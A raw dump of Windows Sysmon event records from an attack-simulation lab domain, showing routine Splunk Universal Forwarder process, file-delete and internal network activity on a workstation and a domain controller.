15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018006Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018005Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018004Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74B7-613B-3A05-00000000F101}1760C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018003Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74B7-613B-3A05-00000000F101}1760C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018002Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.092{625C326B-74B7-613B-3A05-00000000F101}1760C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018001Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:35.014{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0E92D8AD9B090E281CE2878F0061B001,SHA256=512E82F486215FE9087990DB60893DC828279FFBE887D7D3E9D30CB1E9963E4D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018045Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.514{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6EAB1C0DA5C41EDE688A3EEE666E52B0,SHA256=D8F4290B300F840E510EB520FA91482AF6012B5D0EED7671CAB4C3381A3A0D6C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:36.342{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB0CE5416125421FA0EAFB38E30D0428,SHA256=BEC4E285F5836FDB4FF482E98F362C8DB983F2110C9C0C2C892DF01F4F3CEF59,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000018044Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74B8-613B-3C05-00000000F101}3396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018043Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018042Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018041Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018040Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018039Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018038Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018037Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018036Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018035Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000018034Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-74B8-613B-3C05-00000000F101}3396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000018033Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.217{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74B8-613B-3C05-00000000F101}3396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000018032Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.218{625C326B-74B8-613B-3C05-00000000F101}3396C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018031Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:36.139{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E3AB7E647F2CA4F3D4F33D10669356C7,SHA256=CB33AC47B658B99C1F072CFF8245A5BB04605EF616E88BD4782822AD40B92AF1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018047Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:37.529{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8D36C5351E2E21A6CCE72AFF6A0D0D7D,SHA256=1E1E326B61F88E198C72F2CE502C4E8AFE369E3B9C547930B776D77318C930F3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:37.378{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4E9505EC7B66B741DEB76AB6C07C486A,SHA256=2C015DE4E58EC53818A686FAA1DF1688A3AAF05A9480A1DD784A8C505CFED34B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018046Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:37.232{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=832CF4AD96357D356AB31FF839FAF343,SHA256=00E483EA1875E54980B606C2C20882300AB27A86299C42B61C292DEA03AD8828,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018048Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:38.560{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD4B1974393B23575420AF9F3807033A,SHA256=B4E073284AE408A8E23DDFD8A62F35985218A68EB181580EE0520134FFC5BC41,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:38.477{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=636A08B109F383C1F6C186A956A4CE15,SHA256=35740C7BCBA52E403DD1E52EBA106D3116E02FC0949578EFFA29B29FA7FED4B6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018049Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:39.576{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D157F1E72FC9D7843D78CE5486A3B038,SHA256=50AF6C0B9A921AEDADFA9FFA13A7B716CD738BCB9DDEA514A58C14D631AC8266,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:39.578{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D619BDE9F887D6A67049EA164DBB95FC,SHA256=1590D9766A400D3593331BA333B066EF202F544E70EF8DFBF91AD211FA6C9259,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000056146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:36.465{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63166-false10.0.1.12-8000- 23542300x800000000000000056148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:40.629{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=75FBD37EF1CEEA7874E3665025980E86,SHA256=C4D3FB63FE6A9F03B48EF2DD82441EC1C03A8797C9689112A1103E733D144D4A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018051Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:40.607{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F3B7DA69F6D7E9B68AEE2911FFDB867F,SHA256=1B7892FCCC9F9ACF49E67406CE63246E11B8159BCEF1403726D04F799C13058C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000018050Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:38.475{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50395-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000056149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:41.677{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 